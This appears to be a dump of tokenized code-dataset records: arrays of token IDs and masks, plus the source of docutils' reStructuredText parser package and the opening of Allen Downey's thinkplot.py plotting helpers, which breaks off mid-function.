22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
17,
275,
31906,
3697,
1110,
63,
8156,
63,
41,
17,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
17,
275,
31906,
3697,
1110,
63,
8156,
63,
6379,
17,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
20,
275,
31906,
3697,
1110,
63,
8156,
63,
6379,
20,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
24,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
brownman/selenium-webdriver
|
selenium/src/py/lib/docutils/parsers/rst/__init__.py
|
5
|
6660
|
# Author: David Goodger
# Contact: goodger@users.sourceforge.net
# Revision: $Revision: 4445 $
# Date: $Date: 2006-03-23 15:28:36 +0100 (Thu, 23 Mar 2006) $
# Copyright: This module has been placed in the public domain.
"""
This is ``docutils.parsers.rst`` package. It exports a single class, `Parser`,
the reStructuredText parser.
Usage
=====
1. Create a parser::
parser = docutils.parsers.rst.Parser()
Several optional arguments may be passed to modify the parser's behavior.
Please see `Customizing the Parser`_ below for details.
2. Gather input (a multi-line string), by reading a file or the standard
input::
input = sys.stdin.read()
3. Create a new empty `docutils.nodes.document` tree::
document = docutils.utils.new_document(source, settings)
See `docutils.utils.new_document()` for parameter details.
4. Run the parser, populating the document tree::
parser.parse(input, document)
Parser Overview
===============
The reStructuredText parser is implemented as a state machine, examining its
input one line at a time. To understand how the parser works, please first
become familiar with the `docutils.statemachine` module, then see the
`states` module.
Customizing the Parser
----------------------
Anything that isn't already customizable is that way simply because that type
of customizability hasn't been implemented yet. Patches welcome!
When instantiating an object of the `Parser` class, two parameters may be
passed: ``rfc2822`` and ``inliner``. Pass ``rfc2822=1`` to enable an initial
RFC-2822 style header block, parsed as a "field_list" element (with "class"
attribute set to "rfc2822"). Currently this is the only body-level element
which is customizable without subclassing. (Tip: subclass `Parser` and change
its "state_classes" and "initial_state" attributes to refer to new classes.
Contact the author if you need more details.)
The ``inliner`` parameter takes an instance of `states.Inliner` or a subclass.
It handles inline markup recognition. A common extension is the addition of
further implicit hyperlinks, like "RFC 2822". This can be done by subclassing
`states.Inliner`, adding a new method for the implicit markup, and adding a
``(pattern, method)`` pair to the "implicit_dispatch" attribute of the
subclass. See `states.Inliner.implicit_inline()` for details. Explicit
inline markup can be customized in a `states.Inliner` subclass via the
``patterns.initial`` and ``dispatch`` attributes (and new methods as
appropriate).
"""
__docformat__ = 'reStructuredText'
import docutils.parsers
import docutils.statemachine
from docutils.parsers.rst import states
from docutils import frontend
class Parser(docutils.parsers.Parser):
"""The reStructuredText parser."""
supported = ('restructuredtext', 'rst', 'rest', 'restx', 'rtxt', 'rstx')
"""Aliases this parser supports."""
settings_spec = (
'reStructuredText Parser Options',
None,
(('Recognize and link to standalone PEP references (like "PEP 258").',
['--pep-references'],
{'action': 'store_true', 'validator': frontend.validate_boolean}),
('Base URL for PEP references '
'(default "http://www.python.org/dev/peps/").',
['--pep-base-url'],
{'metavar': '<URL>', 'default': 'http://www.python.org/dev/peps/',
'validator': frontend.validate_url_trailing_slash}),
('Template for PEP file part of URL. (default "pep-%04d")',
['--pep-file-url-template'],
{'metavar': '<URL>', 'default': 'pep-%04d'}),
('Recognize and link to standalone RFC references (like "RFC 822").',
['--rfc-references'],
{'action': 'store_true', 'validator': frontend.validate_boolean}),
('Base URL for RFC references (default "http://www.faqs.org/rfcs/").',
['--rfc-base-url'],
{'metavar': '<URL>', 'default': 'http://www.faqs.org/rfcs/',
'validator': frontend.validate_url_trailing_slash}),
('Set number of spaces for tab expansion (default 8).',
['--tab-width'],
{'metavar': '<width>', 'type': 'int', 'default': 8,
'validator': frontend.validate_nonnegative_int}),
('Remove spaces before footnote references.',
['--trim-footnote-reference-space'],
{'action': 'store_true', 'validator': frontend.validate_boolean}),
('Leave spaces before footnote references.',
['--leave-footnote-reference-space'],
{'action': 'store_false', 'dest': 'trim_footnote_reference_space',
'validator': frontend.validate_boolean}),
('Disable directives that insert the contents of external file '
'("include" & "raw"); replaced with a "warning" system message.',
['--no-file-insertion'],
{'action': 'store_false', 'default': 1,
'dest': 'file_insertion_enabled'}),
('Enable directives that insert the contents of external file '
'("include" & "raw"). Enabled by default.',
['--file-insertion-enabled'],
{'action': 'store_true', 'dest': 'file_insertion_enabled'}),
('Disable the "raw" directives; replaced with a "warning" '
'system message.',
['--no-raw'],
{'action': 'store_false', 'default': 1, 'dest': 'raw_enabled'}),
('Enable the "raw" directive. Enabled by default.',
['--raw-enabled'],
{'action': 'store_true', 'dest': 'raw_enabled'}),))
config_section = 'restructuredtext parser'
config_section_dependencies = ('parsers',)
def __init__(self, rfc2822=None, inliner=None):
if rfc2822:
self.initial_state = 'RFC2822Body'
else:
self.initial_state = 'Body'
self.state_classes = states.state_classes
self.inliner = inliner
def parse(self, inputstring, document):
"""Parse `inputstring` and populate `document`, a document tree."""
self.setup_parse(inputstring, document)
self.statemachine = states.RSTStateMachine(
state_classes=self.state_classes,
initial_state=self.initial_state,
debug=document.reporter.debug_flag)
inputlines = docutils.statemachine.string2lines(
inputstring, tab_width=document.settings.tab_width,
convert_whitespace=1)
self.statemachine.run(inputlines, document, inliner=self.inliner)
self.finish_parse()
|
apache-2.0
|
[
3,
6529,
26,
20232,
22311,
836,
202,
199,
3,
18684,
26,
6954,
836,
32,
3707,
14,
22943,
14,
846,
202,
199,
3,
27095,
26,
2672,
12714,
26,
841,
20761,
2672,
202,
199,
3,
6148,
26,
2672,
2506,
26,
8315,
13,
1644,
13,
1789,
4114,
26,
1651,
26,
1344,
435,
16569,
334,
2719,
85,
12,
6546,
16794,
8315,
9,
2672,
202,
199,
3,
1898,
26,
961,
859,
965,
2757,
15090,
315,
314,
4575,
2881,
14,
2999,
199,
624,
202,
199,
2765,
365,
1124,
27114,
14,
11531,
14,
8332,
1040,
2559,
14,
2779,
22609,
282,
2849,
1021,
12,
658,
2842,
3559,
202,
199,
1589,
295,
27486,
1872,
1798,
14,
8065,
199,
7692,
202,
199,
19989,
2999,
199,
17,
14,
2790,
282,
1798,
447,
10060,
755,
1798,
275,
18382,
14,
11531,
14,
8332,
14,
2842,
342,
10060,
257,
3240,
422,
279,
2716,
2368,
1443,
506,
3032,
370,
2811,
314,
1798,
1159,
5953,
14,
15497,
7754,
1937,
658,
7223,
9147,
314,
10191,
18417,
5084,
367,
2436,
14,
2999,
199,
18,
14,
19634,
1324,
334,
65,
3510,
13,
604,
1059,
395,
701,
7664,
282,
570,
503,
314,
4465,
15497,
1324,
447,
10060,
755,
1324,
275,
984,
14,
6626,
14,
739,
342,
2999,
199,
19,
14,
2790,
282,
892,
2701,
658,
27114,
14,
2415,
14,
3554,
64,
3123,
447,
10060,
755,
2213,
275,
18382,
14,
1208,
14,
1222,
63,
3554,
8,
1365,
12,
2202,
9,
10060,
257,
1666,
658,
27114,
14,
1208,
14,
1222,
63,
3554,
11995,
367,
2725,
2436,
14,
2999,
199,
20,
14,
3378,
314,
1798,
12,
4560,
20529,
314,
2213,
3123,
447,
10060,
755,
1798,
14,
1122,
8,
1210,
12,
2213,
9,
8065,
199,
2842,
7259,
1345,
202,
199,
16964,
2999,
199,
1918,
295,
27486,
1872,
1798,
365,
6366,
465,
282,
1174,
6844,
12,
15735,
7969,
2399,
202,
199,
1210,
1373,
1004,
737,
282,
900,
14,
4005,
20647,
4212,
314,
1798,
5419,
12,
8749,
1642,
202,
199,
13970,
21450,
1638,
285,
543,
314,
658,
27114,
14,
929,
6744,
64,
859,
12,
2066,
1937,
314,
202,
199,
64,
4981,
64,
859,
14,
8065,
199,
7223,
9147,
314,
10191,
202,
199,
777,
8648,
2999,
199,
9874,
2127,
626,
5712,
1133,
2575,
3537,
14065,
365,
626,
4340,
9329,
2952,
626,
730,
202,
199,
1618,
3537,
565,
3616,
18699,
1133,
2757,
6366,
5966,
14,
221,
19292,
397,
336,
14628,
1,
2999,
199,
11423,
9034,
1958,
376,
909,
402,
314,
658,
2842,
64,
1021,
12,
2877,
2633,
1443,
506,
202,
199,
12070,
26,
1124,
8973,
29736,
1040,
436,
1124,
262,
31338,
4345,
221,
8325,
1124,
8973,
29736,
29,
17,
1040,
370,
4756,
376,
2536,
202,
199,
14468,
13,
29736,
3449,
1406,
1853,
12,
4565,
465,
282,
298,
698,
63,
513,
2,
1819,
334,
1045,
298,
533,
2,
202,
199,
3215,
663,
370,
298,
8973,
29736,
3471,
221,
13550,
642,
365,
314,
1454,
2396,
13,
1896,
1819,
202,
199,
6777,
365,
3537,
14065,
1928,
24572,
14,
221,
334,
15915,
26,
5516,
658,
2842,
64,
436,
1570,
202,
199,
1405,
298,
929,
63,
2888,
2,
436,
298,
2747,
63,
929,
2,
3004,
370,
10618,
370,
892,
3992,
14,
202,
199,
14499,
314,
4132,
340,
1265,
1929,
1655,
2436,
4959,
2999,
199,
1918,
1124,
262,
31338,
1040,
2725,
6181,
376,
1256,
402,
658,
4981,
14,
607,
31338,
64,
503,
282,
5516,
14,
202,
199,
7940,
10022,
8308,
9189,
17319,
15415,
14,
221,
437,
2863,
3329,
365,
314,
10234,
402,
202,
199,
70,
8754,
9227,
10342,
4614,
12,
2839,
298,
14468,
7294,
1081,
1674,
221,
961,
883,
506,
4224,
701,
24572,
202,
199,
64,
4981,
14,
607,
31338,
3559,
7791,
282,
892,
1083,
367,
314,
9227,
9189,
12,
436,
7791,
282,
202,
199,
1040,
8,
3401,
12,
1083,
9719,
4092,
370,
314,
298,
11886,
63,
6052,
2,
2225,
402,
314,
202,
199,
6083,
14,
221,
1666,
658,
4981,
14,
607,
31338,
14,
11886,
63,
6460,
11995,
367,
2436,
14,
221,
23872,
202,
199,
6460,
9189,
883,
506,
26707,
315,
282,
658,
4981,
14,
607,
31338,
64,
5516,
4799,
314,
202,
199,
1040,
7435,
14,
2747,
1040,
436,
1124,
6052,
1040,
3004,
334,
460,
892,
3102,
465,
202,
199,
11227,
5655,
680,
202,
199,
624,
2999,
199,
363,
21841,
363,
275,
283,
264,
27486,
1872,
7,
8065,
199,
646,
18382,
14,
11531,
202,
199,
646,
18382,
14,
929,
6744,
202,
199,
504,
18382,
14,
11531,
14,
8332,
492,
6363,
202,
199,
504,
18382,
492,
22523,
8065,
199,
533,
10191,
8,
27114,
14,
11531,
14,
2842,
304,
2958,
408,
1918,
295,
27486,
1872,
1798,
1041,
2958,
3748,
275,
661,
26854,
297,
283,
8332,
297,
283,
3911,
297,
283,
3911,
88,
297,
283,
82,
2424,
297,
283,
8332,
88,
358,
1128,
408,
6985,
3274,
642,
1798,
5171,
1041,
2958,
2202,
63,
1650,
275,
334,
1039,
283,
264,
27486,
1872,
10191,
8394,
297,
1039,
488,
12,
1039,
13636,
497,
6862,
794,
436,
2142,
370,
18042,
13663,
6941,
334,
2930,
298,
25633,
499,
2010,
531,
3130,
16765,
14574,
12636,
13,
12635,
995,
16765,
791,
1287,
356,
283,
1617,
63,
2052,
297,
283,
11034,
356,
22523,
14,
3502,
63,
4871,
8688,
8740,
661,
1563,
2851,
367,
13663,
6941,
283,
16765,
8189,
885,
298,
1014,
921,
1544,
14,
1548,
14,
1308,
15,
2374,
15,
321,
1190,
13589,
3130,
16765,
14574,
12636,
13,
1095,
13,
633,
995,
16765,
791,
23303,
356,
2650,
2632,
4206,
283,
885,
356,
283,
1014,
921,
1544,
14,
1548,
14,
1308,
15,
2374,
15,
321,
1190,
3678,
18691,
283,
11034,
356,
22523,
14,
3502,
63,
633,
63,
15910,
63,
7001,
8688,
8740,
661,
4231,
367,
13663,
570,
1777,
402,
2851,
14,
334,
885,
298,
12636,
3295,
966,
68,
30901,
16765,
14574,
12636,
13,
493,
13,
633,
13,
1160,
995,
16765,
791,
23303,
356,
2650,
2632,
4206,
283,
885,
356,
283,
12636,
3295,
966,
68,
1604,
8740,
661,
497,
6862,
794,
436,
2142,
370,
18042,
7329,
6941,
334,
2930,
298,
14468,
1695,
1081,
531,
3130,
16765,
14574,
8973,
13,
12635,
995,
16765,
791,
1287,
356,
283,
1617,
63,
2052,
297,
283,
11034,
356,
22523,
14,
3502,
63,
4871,
8688,
8740,
661,
1563,
2851,
367,
7329,
6941,
334,
885,
298,
1014,
921,
1544,
14,
667,
6177,
14,
1308,
15,
3941,
1259,
13589,
3130,
16765,
14574,
8973,
13,
1095,
13,
633,
995,
16765
] |
[
6529,
26,
20232,
22311,
836,
202,
199,
3,
18684,
26,
6954,
836,
32,
3707,
14,
22943,
14,
846,
202,
199,
3,
27095,
26,
2672,
12714,
26,
841,
20761,
2672,
202,
199,
3,
6148,
26,
2672,
2506,
26,
8315,
13,
1644,
13,
1789,
4114,
26,
1651,
26,
1344,
435,
16569,
334,
2719,
85,
12,
6546,
16794,
8315,
9,
2672,
202,
199,
3,
1898,
26,
961,
859,
965,
2757,
15090,
315,
314,
4575,
2881,
14,
2999,
199,
624,
202,
199,
2765,
365,
1124,
27114,
14,
11531,
14,
8332,
1040,
2559,
14,
2779,
22609,
282,
2849,
1021,
12,
658,
2842,
3559,
202,
199,
1589,
295,
27486,
1872,
1798,
14,
8065,
199,
7692,
202,
199,
19989,
2999,
199,
17,
14,
2790,
282,
1798,
447,
10060,
755,
1798,
275,
18382,
14,
11531,
14,
8332,
14,
2842,
342,
10060,
257,
3240,
422,
279,
2716,
2368,
1443,
506,
3032,
370,
2811,
314,
1798,
1159,
5953,
14,
15497,
7754,
1937,
658,
7223,
9147,
314,
10191,
18417,
5084,
367,
2436,
14,
2999,
199,
18,
14,
19634,
1324,
334,
65,
3510,
13,
604,
1059,
395,
701,
7664,
282,
570,
503,
314,
4465,
15497,
1324,
447,
10060,
755,
1324,
275,
984,
14,
6626,
14,
739,
342,
2999,
199,
19,
14,
2790,
282,
892,
2701,
658,
27114,
14,
2415,
14,
3554,
64,
3123,
447,
10060,
755,
2213,
275,
18382,
14,
1208,
14,
1222,
63,
3554,
8,
1365,
12,
2202,
9,
10060,
257,
1666,
658,
27114,
14,
1208,
14,
1222,
63,
3554,
11995,
367,
2725,
2436,
14,
2999,
199,
20,
14,
3378,
314,
1798,
12,
4560,
20529,
314,
2213,
3123,
447,
10060,
755,
1798,
14,
1122,
8,
1210,
12,
2213,
9,
8065,
199,
2842,
7259,
1345,
202,
199,
16964,
2999,
199,
1918,
295,
27486,
1872,
1798,
365,
6366,
465,
282,
1174,
6844,
12,
15735,
7969,
2399,
202,
199,
1210,
1373,
1004,
737,
282,
900,
14,
4005,
20647,
4212,
314,
1798,
5419,
12,
8749,
1642,
202,
199,
13970,
21450,
1638,
285,
543,
314,
658,
27114,
14,
929,
6744,
64,
859,
12,
2066,
1937,
314,
202,
199,
64,
4981,
64,
859,
14,
8065,
199,
7223,
9147,
314,
10191,
202,
199,
777,
8648,
2999,
199,
9874,
2127,
626,
5712,
1133,
2575,
3537,
14065,
365,
626,
4340,
9329,
2952,
626,
730,
202,
199,
1618,
3537,
565,
3616,
18699,
1133,
2757,
6366,
5966,
14,
221,
19292,
397,
336,
14628,
1,
2999,
199,
11423,
9034,
1958,
376,
909,
402,
314,
658,
2842,
64,
1021,
12,
2877,
2633,
1443,
506,
202,
199,
12070,
26,
1124,
8973,
29736,
1040,
436,
1124,
262,
31338,
4345,
221,
8325,
1124,
8973,
29736,
29,
17,
1040,
370,
4756,
376,
2536,
202,
199,
14468,
13,
29736,
3449,
1406,
1853,
12,
4565,
465,
282,
298,
698,
63,
513,
2,
1819,
334,
1045,
298,
533,
2,
202,
199,
3215,
663,
370,
298,
8973,
29736,
3471,
221,
13550,
642,
365,
314,
1454,
2396,
13,
1896,
1819,
202,
199,
6777,
365,
3537,
14065,
1928,
24572,
14,
221,
334,
15915,
26,
5516,
658,
2842,
64,
436,
1570,
202,
199,
1405,
298,
929,
63,
2888,
2,
436,
298,
2747,
63,
929,
2,
3004,
370,
10618,
370,
892,
3992,
14,
202,
199,
14499,
314,
4132,
340,
1265,
1929,
1655,
2436,
4959,
2999,
199,
1918,
1124,
262,
31338,
1040,
2725,
6181,
376,
1256,
402,
658,
4981,
14,
607,
31338,
64,
503,
282,
5516,
14,
202,
199,
7940,
10022,
8308,
9189,
17319,
15415,
14,
221,
437,
2863,
3329,
365,
314,
10234,
402,
202,
199,
70,
8754,
9227,
10342,
4614,
12,
2839,
298,
14468,
7294,
1081,
1674,
221,
961,
883,
506,
4224,
701,
24572,
202,
199,
64,
4981,
14,
607,
31338,
3559,
7791,
282,
892,
1083,
367,
314,
9227,
9189,
12,
436,
7791,
282,
202,
199,
1040,
8,
3401,
12,
1083,
9719,
4092,
370,
314,
298,
11886,
63,
6052,
2,
2225,
402,
314,
202,
199,
6083,
14,
221,
1666,
658,
4981,
14,
607,
31338,
14,
11886,
63,
6460,
11995,
367,
2436,
14,
221,
23872,
202,
199,
6460,
9189,
883,
506,
26707,
315,
282,
658,
4981,
14,
607,
31338,
64,
5516,
4799,
314,
202,
199,
1040,
7435,
14,
2747,
1040,
436,
1124,
6052,
1040,
3004,
334,
460,
892,
3102,
465,
202,
199,
11227,
5655,
680,
202,
199,
624,
2999,
199,
363,
21841,
363,
275,
283,
264,
27486,
1872,
7,
8065,
199,
646,
18382,
14,
11531,
202,
199,
646,
18382,
14,
929,
6744,
202,
199,
504,
18382,
14,
11531,
14,
8332,
492,
6363,
202,
199,
504,
18382,
492,
22523,
8065,
199,
533,
10191,
8,
27114,
14,
11531,
14,
2842,
304,
2958,
408,
1918,
295,
27486,
1872,
1798,
1041,
2958,
3748,
275,
661,
26854,
297,
283,
8332,
297,
283,
3911,
297,
283,
3911,
88,
297,
283,
82,
2424,
297,
283,
8332,
88,
358,
1128,
408,
6985,
3274,
642,
1798,
5171,
1041,
2958,
2202,
63,
1650,
275,
334,
1039,
283,
264,
27486,
1872,
10191,
8394,
297,
1039,
488,
12,
1039,
13636,
497,
6862,
794,
436,
2142,
370,
18042,
13663,
6941,
334,
2930,
298,
25633,
499,
2010,
531,
3130,
16765,
14574,
12636,
13,
12635,
995,
16765,
791,
1287,
356,
283,
1617,
63,
2052,
297,
283,
11034,
356,
22523,
14,
3502,
63,
4871,
8688,
8740,
661,
1563,
2851,
367,
13663,
6941,
283,
16765,
8189,
885,
298,
1014,
921,
1544,
14,
1548,
14,
1308,
15,
2374,
15,
321,
1190,
13589,
3130,
16765,
14574,
12636,
13,
1095,
13,
633,
995,
16765,
791,
23303,
356,
2650,
2632,
4206,
283,
885,
356,
283,
1014,
921,
1544,
14,
1548,
14,
1308,
15,
2374,
15,
321,
1190,
3678,
18691,
283,
11034,
356,
22523,
14,
3502,
63,
633,
63,
15910,
63,
7001,
8688,
8740,
661,
4231,
367,
13663,
570,
1777,
402,
2851,
14,
334,
885,
298,
12636,
3295,
966,
68,
30901,
16765,
14574,
12636,
13,
493,
13,
633,
13,
1160,
995,
16765,
791,
23303,
356,
2650,
2632,
4206,
283,
885,
356,
283,
12636,
3295,
966,
68,
1604,
8740,
661,
497,
6862,
794,
436,
2142,
370,
18042,
7329,
6941,
334,
2930,
298,
14468,
1695,
1081,
531,
3130,
16765,
14574,
8973,
13,
12635,
995,
16765,
791,
1287,
356,
283,
1617,
63,
2052,
297,
283,
11034,
356,
22523,
14,
3502,
63,
4871,
8688,
8740,
661,
1563,
2851,
367,
7329,
6941,
334,
885,
298,
1014,
921,
1544,
14,
667,
6177,
14,
1308,
15,
3941,
1259,
13589,
3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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
AllenDowney/HeriReligion
|
archive/thinkplot.py
|
3
|
22756
|
"""This file contains code for use with "Think Stats",
by Allen B. Downey, available from greenteapress.com
Copyright 2014 Allen B. Downey
License: GNU GPLv3 http://www.gnu.org/licenses/gpl.html
"""
from __future__ import print_function
import math
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import warnings
# customize some matplotlib attributes
#matplotlib.rc('figure', figsize=(4, 3))
#matplotlib.rc('font', size=14.0)
#matplotlib.rc('axes', labelsize=22.0, titlesize=22.0)
#matplotlib.rc('legend', fontsize=20.0)
#matplotlib.rc('xtick.major', size=6.0)
#matplotlib.rc('xtick.minor', size=3.0)
#matplotlib.rc('ytick.major', size=6.0)
#matplotlib.rc('ytick.minor', size=3.0)
class _Brewer(object):
"""Encapsulates a nice sequence of colors.
Shades of blue that look good in color and can be distinguished
in grayscale (up to a point).
Borrowed from http://colorbrewer2.org/
"""
color_iter = None
colors = ['#f7fbff', '#deebf7', '#c6dbef',
'#9ecae1', '#6baed6', '#4292c6',
'#2171b5','#08519c','#08306b'][::-1]
# lists that indicate which colors to use depending on how many are used
which_colors = [[],
[1],
[1, 3],
[0, 2, 4],
[0, 2, 4, 6],
[0, 2, 3, 5, 6],
[0, 2, 3, 4, 5, 6],
[0, 1, 2, 3, 4, 5, 6],
[0, 1, 2, 3, 4, 5, 6, 7],
[0, 1, 2, 3, 4, 5, 6, 7, 8],
]
current_figure = None
@classmethod
def Colors(cls):
"""Returns the list of colors.
"""
return cls.colors
@classmethod
def ColorGenerator(cls, num):
"""Returns an iterator of color strings.
n: how many colors will be used
"""
for i in cls.which_colors[num]:
yield cls.colors[i]
raise StopIteration('Ran out of colors in _Brewer.')
@classmethod
def InitIter(cls, num):
"""Initializes the color iterator with the given number of colors."""
cls.color_iter = cls.ColorGenerator(num)
fig = plt.gcf()
cls.current_figure = fig
@classmethod
def ClearIter(cls):
"""Sets the color iterator to None."""
cls.color_iter = None
cls.current_figure = None
@classmethod
def GetIter(cls, num):
"""Gets the color iterator."""
fig = plt.gcf()
if fig != cls.current_figure:
cls.InitIter(num)
cls.current_figure = fig
if cls.color_iter is None:
cls.InitIter(num)
return cls.color_iter
def _UnderrideColor(options):
"""If color is not in the options, chooses a color.
"""
if 'color' in options:
return options
# get the current color iterator; if there is none, init one
color_iter = _Brewer.GetIter(5)
try:
options['color'] = next(color_iter)
except StopIteration:
# if you run out of colors, initialize the color iterator
# and try again
warnings.warn('Ran out of colors. Starting over.')
_Brewer.ClearIter()
_UnderrideColor(options)
return options
def PrePlot(num=None, rows=None, cols=None):
"""Takes hints about what's coming.
num: number of lines that will be plotted
rows: number of rows of subplots
cols: number of columns of subplots
"""
if num:
_Brewer.InitIter(num)
if rows is None and cols is None:
return
if rows is not None and cols is None:
cols = 1
if cols is not None and rows is None:
rows = 1
# resize the image, depending on the number of rows and cols
size_map = {(1, 1): (8, 6),
(1, 2): (12, 6),
(1, 3): (12, 6),
(1, 4): (12, 5),
(1, 5): (12, 4),
(2, 2): (10, 10),
(2, 3): (16, 10),
(3, 1): (8, 10),
(4, 1): (8, 12),
}
if (rows, cols) in size_map:
fig = plt.gcf()
fig.set_size_inches(*size_map[rows, cols])
# create the first subplot
if rows > 1 or cols > 1:
ax = plt.subplot(rows, cols, 1)
global SUBPLOT_ROWS, SUBPLOT_COLS
SUBPLOT_ROWS = rows
SUBPLOT_COLS = cols
else:
ax = plt.gca()
return ax
def SubPlot(plot_number, rows=None, cols=None, **options):
"""Configures the number of subplots and changes the current plot.
rows: int
cols: int
plot_number: int
options: passed to subplot
"""
rows = rows or SUBPLOT_ROWS
cols = cols or SUBPLOT_COLS
return plt.subplot(rows, cols, plot_number, **options)
def _Underride(d, **options):
"""Add key-value pairs to d only if key is not in d.
If d is None, create a new dictionary.
d: dictionary
options: keyword args to add to d
"""
if d is None:
d = {}
for key, val in options.items():
d.setdefault(key, val)
return d
def Clf():
"""Clears the figure and any hints that have been set."""
global LOC
LOC = None
_Brewer.ClearIter()
plt.clf()
fig = plt.gcf()
fig.set_size_inches(8, 6)
def Figure(**options):
"""Sets options for the current figure."""
_Underride(options, figsize=(6, 8))
plt.figure(**options)
def Plot(obj, ys=None, style='', **options):
"""Plots a line.
Args:
obj: sequence of x values, or Series, or anything with Render()
ys: sequence of y values
style: style string passed along to plt.plot
options: keyword args passed to plt.plot
"""
options = _UnderrideColor(options)
label = getattr(obj, 'label', '_nolegend_')
options = _Underride(options, linewidth=3, alpha=0.7, label=label)
xs = obj
if ys is None:
if hasattr(obj, 'Render'):
xs, ys = obj.Render()
if isinstance(obj, pd.Series):
ys = obj.values
xs = obj.index
if ys is None:
plt.plot(xs, style, **options)
else:
plt.plot(xs, ys, style, **options)
def Vlines(xs, y1, y2, **options):
"""Plots a set of vertical lines.
Args:
xs: sequence of x values
y1: sequence of y values
y2: sequence of y values
options: keyword args passed to plt.vlines
"""
options = _UnderrideColor(options)
options = _Underride(options, linewidth=1, alpha=0.5)
plt.vlines(xs, y1, y2, **options)
def Hlines(ys, x1, x2, **options):
"""Plots a set of horizontal lines.
Args:
ys: sequence of y values
x1: sequence of x values
x2: sequence of x values
options: keyword args passed to plt.vlines
"""
options = _UnderrideColor(options)
options = _Underride(options, linewidth=1, alpha=0.5)
plt.hlines(ys, x1, x2, **options)
def axvline(x, **options):
"""Plots a vertical line.
Args:
x: x location
options: keyword args passed to plt.axvline
"""
options = _UnderrideColor(options)
options = _Underride(options, linewidth=1, alpha=0.5)
plt.axvline(x, **options)
def axhline(y, **options):
"""Plots a horizontal line.
Args:
y: y location
options: keyword args passed to plt.axhline
"""
options = _UnderrideColor(options)
options = _Underride(options, linewidth=1, alpha=0.5)
plt.axhline(y, **options)
def tight_layout(**options):
"""Adjust subplots to minimize padding and margins.
"""
options = _Underride(options,
wspace=0.1, hspace=0.1,
left=0, right=1,
bottom=0, top=1)
plt.tight_layout()
plt.subplots_adjust(**options)
def FillBetween(xs, y1, y2=None, where=None, **options):
"""Fills the space between two lines.
Args:
xs: sequence of x values
y1: sequence of y values
y2: sequence of y values
where: sequence of boolean
options: keyword args passed to plt.fill_between
"""
options = _UnderrideColor(options)
options = _Underride(options, linewidth=0, alpha=0.5)
plt.fill_between(xs, y1, y2, where, **options)
def Bar(xs, ys, **options):
"""Plots a line.
Args:
xs: sequence of x values
ys: sequence of y values
options: keyword args passed to plt.bar
"""
options = _UnderrideColor(options)
options = _Underride(options, linewidth=0, alpha=0.6)
plt.bar(xs, ys, **options)
def Scatter(xs, ys=None, **options):
"""Makes a scatter plot.
xs: x values
ys: y values
options: options passed to plt.scatter
"""
options = _Underride(options, color='blue', alpha=0.2,
s=30, edgecolors='none')
if ys is None and isinstance(xs, pd.Series):
ys = xs.values
xs = xs.index
plt.scatter(xs, ys, **options)
def HexBin(xs, ys, **options):
"""Makes a scatter plot.
xs: x values
ys: y values
options: options passed to plt.scatter
"""
options = _Underride(options, cmap=matplotlib.cm.Blues)
plt.hexbin(xs, ys, **options)
def Pdf(pdf, **options):
"""Plots a Pdf, Pmf, or Hist as a line.
Args:
pdf: Pdf, Pmf, or Hist object
options: keyword args passed to plt.plot
"""
low, high = options.pop('low', None), options.pop('high', None)
n = options.pop('n', 101)
xs, ps = pdf.Render(low=low, high=high, n=n)
options = _Underride(options, label=pdf.label)
Plot(xs, ps, **options)
def Pdfs(pdfs, **options):
"""Plots a sequence of PDFs.
Options are passed along for all PDFs. If you want different
options for each pdf, make multiple calls to Pdf.
Args:
pdfs: sequence of PDF objects
options: keyword args passed to plt.plot
"""
for pdf in pdfs:
Pdf(pdf, **options)
def Hist(hist, **options):
"""Plots a Pmf or Hist with a bar plot.
The default width of the bars is based on the minimum difference
between values in the Hist. If that's too small, you can override
it by providing a width keyword argument, in the same units
as the values.
Args:
hist: Hist or Pmf object
options: keyword args passed to plt.bar
"""
# find the minimum distance between adjacent values
xs, ys = hist.Render()
# see if the values support arithmetic
try:
xs[0] - xs[0]
except TypeError:
# if not, replace values with numbers
labels = [str(x) for x in xs]
xs = np.arange(len(xs))
plt.xticks(xs+0.5, labels)
if 'width' not in options:
try:
options['width'] = 0.9 * np.diff(xs).min()
except TypeError:
warnings.warn("Hist: Can't compute bar width automatically."
